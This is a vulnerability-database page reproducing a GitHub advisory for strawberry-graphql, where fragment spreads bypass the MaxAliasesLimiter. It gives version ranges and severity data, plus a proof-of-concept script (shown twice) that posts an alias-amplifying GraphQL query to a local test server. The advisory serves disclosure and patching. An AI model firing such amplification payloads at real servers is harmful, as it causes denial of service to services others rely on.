GHSA-FR49-MHGJ-CRFC

Vulnerability from github – Published: 2026-06-04 14:39 – Updated: 2026-06-04 14:39
VLAI
Summary
Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification
Details

Summary

The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.

Details

The current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach

for selection in selection_set_owner.selection_set.selections: 
    if isinstance(selection, FieldNode) and selection.alias:
        result += 1

    if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:
        result += count_fields_with_alias(selection)

When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is

Total Aliases = query aliases + (num of spreads * aliases within fragment)

Because Strawberry only performs a static sum of the text, it misses this multiplication

PoC

server code

import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import MaxAliasesLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Limit is set to 20 aliases
schema = strawberry.Schema(
    query=Query, 
    extensions=[MaxAliasesLimiter(max_alias_count=20)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")

payloads

import httpx

payload = {
    "query": """
        fragment Amplification on User {
            a1: name, a2: name, a3: name, a4: name, a5: name,
            a6: name, a7: name, a8: name, a9: name, a10: name
        }
        query Bypass {
            u1: user { ...Amplification }
            u2: user { ...Amplification }
            u3: user { ...Amplification }
            u4: user { ...Amplification }
            u5: user { ...Amplification }
            u6: user { ...Amplification }
            u7: user { ...Amplification }
            u8: user { ...Amplification }
            u9: user { ...Amplification }
            u10: user { ...Amplification }
        }
    """
}

response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(f"Status: {response.status_code}")
# The response will contain 100 'a' aliases nested within 10 'u' aliases.
print(response.json())

Impact

An attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.315.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "strawberry-graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.172.0"
            },
            {
              "fixed": "0.315.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T14:39:42Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a  dos via resource exhaustion.\n\n### Details\nThe current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach\n```\nfor selection in selection_set_owner.selection_set.selections: \n    if isinstance(selection, FieldNode) and selection.alias:\n        result += 1\n\n    if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:\n        result += count_fields_with_alias(selection)\n```\n\nWhen a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is\n\n**Total Aliases = query aliases + (num of spreads * aliases within fragment)**\n\nBecause Strawberry only performs a static sum of the text, it misses this multiplication\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import MaxAliasesLimiter\n\n@strawberry.type\nclass User:\n    name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def user(self) -\u003e User:\n        return User()\n\n# Limit is set to 20 aliases\nschema = strawberry.Schema(\n    query=Query, \n    extensions=[MaxAliasesLimiter(max_alias_count=20)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**payloads**\n```\nimport httpx\n\npayload = {\n    \"query\": \"\"\"\n        fragment Amplification on User {\n            a1: name, a2: name, a3: name, a4: name, a5: name,\n            a6: name, a7: name, a8: name, a9: name, a10: name\n        }\n        query Bypass {\n            u1: user { ...Amplification }\n            u2: user { ...Amplification }\n            u3: user { ...Amplification }\n            u4: user { ...Amplification }\n            u5: user { ...Amplification }\n            u6: user { ...Amplification }\n            u7: user { ...Amplification }\n            u8: user { ...Amplification }\n            u9: user { ...Amplification }\n            u10: user { ...Amplification }\n        }\n    \"\"\"\n}\n\nresponse = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\nprint(f\"Status: {response.status_code}\")\n# The response will contain 100 \u0027a\u0027 aliases nested within 10 \u0027u\u0027 aliases.\nprint(response.json())\n```\n\n### Impact\nAn attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory",
  "id": "GHSA-fr49-mhgj-crfc",
  "modified": "2026-06-04T14:39:42Z",
  "published": "2026-06-04T14:39:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-fr49-mhgj-crfc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strawberry-graphql/strawberry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Strawberry GraphQL\u0027s Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…